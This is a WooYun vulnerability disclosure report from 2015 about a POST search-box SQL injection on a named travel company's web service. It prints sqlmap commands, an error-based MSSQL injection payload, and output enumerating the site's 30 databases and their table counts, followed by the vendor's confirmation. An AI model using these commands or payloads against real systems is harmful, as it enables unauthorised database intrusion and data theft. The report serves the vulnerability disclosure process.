当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104827

漏洞标题:广州一起飞商旅信息服务有限公司某站存在SQL注入

相关厂商:yiqifei.com

漏洞作者: 路人甲

提交时间:2015-04-01 11:39

修复时间:2015-05-16 14:56

公开时间:2015-05-16 14:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-01: 厂商已经确认,细节仅向厂商公开
2015-04-11: 细节向核心白帽子及相关领域专家公开
2015-04-21: 细节向普通白帽子公开
2015-05-01: 细节向实习白帽子公开
2015-05-16: 细节向公众公开

简要描述:

存在POST搜索型注入

详细说明:

注入点
http://service.yiqifei.com/default.aspx页面的搜索框

root@kali:~# sqlmap -r /root/1.txt --technique=E --dbs
sqlmap/1.0-dev-25b2375 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:44:29
[18:44:29] [INFO] parsing HTTP request from '/root/1.txt'
[18:44:30] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:44:35] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ctl00$ContentPlaceHolder1$Right1$txt_subject
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKLTM3MjY2NTM4MQ9kFgJmD2QWAgIDD2QWBAIDD2QWAgIBDxYCHgtfIUl0ZW1Db3VudAIZFjICAQ9kFgJmDxUDAjI1AzM0NRvjgIrooYznqIvljZXjgIvms6jmhI/kuovpoblkAgIPZBYCZg8V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HAR(113)+CHAR(114)+CHAR(116)+CHAR(109)+CHAR(113)+(SELECT (CASE WHEN (3603=3603) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(109)+CHAR(118)+CHAR(108)+CHAR(113))) AND '%'='&ctl00$ContentPlaceHolder1$Right1$btn_search=%E9%A9%AC%E4%B8%8A%E6%9F%A5%E8%AF%A2
---
[18:44:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:44:35] [INFO] fetching database names
[18:44:35] [INFO] the SQL query used returns 30 entries
available databases [30]:
[*] ADsDB
[*] FenZi
[*] JiFeng
[*] JiFengState
[*] master
[*] model
[*] msdb
[*] NetSNS
[*] SecKill
[*] SecKillState
[*] SecKillTest
[*] SkyHunterDB
[*] SystemBaseInfo
[*] tempdb
[*] Topic
[*] TuanGou
[*] Woquguo
[*] WoquguoState
[*] YiqifeiBusiness
[*] YiqifeiBusinessML
[*] YiqifeiBusinessMultiLanguage
[*] YiqifeiCom
[*] YiqifeiPay
[*] YiqifeiPrintPNR
[*] YQFAccount
[*] YqfBiz
[*] YqfBizState
[*] YQFCMS
[*] Zaoniao
[*] ZaoniaoState


漏洞证明:

表太多,就不一一列出来了

root@kali:~# sqlmap  -r /root/1.txt --technique=E  --tables |grep -v INFO| grep -E 'Database|tables'
Database: YiqifeiBusiness
[4 tables]
Database: YiqifeiBusinessMultiLanguage
[10 tables]
Database: NetSNS
[119 tables]
Database: WoquguoState
[2 tables]
Database: FenZi
Database: Topic
[3 tables]
Database: ADsDB
[6 tables]
Database: YiqifeiBusinessML
[7 tables]
Database: YiqifeiPrintPNR
[3 tables]
Database: master
[291 tables]
| sys.dm_os_memory_cache_hash_tables |
| sys.internal_tables |
| sys.syscursortables |
| sys.tables |
Database: YiqifeiCom
[37 tables]
Database: YQFAccount
[6 tables]
Database: Woquguo
[24 tables]
Database: SecKillState
[2 tables]
Database: SkyHunterDB
[3 tables]
Database: YqfBiz
[13 tables]
Database: msdb
[9 tables]
Database: YqfBizState
[2 tables]
Database: SystemBaseInfo
[50 tables]
Database: YQFCMS
[5 tables]
Database: TuanGou
[6 tables]
Database: YiqifeiPay
[5 tables]
Database: SecKill
[6 tables]
Database: SecKillTest
[2 tables]
Database: ZaoniaoState
[2 tables]
Database: Zaoniao
[28 tables]

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-01 14:55

厂商回复:

多谢对一起飞的关注,已经安排修复。

最新状态:

暂无


漏洞评价:

评论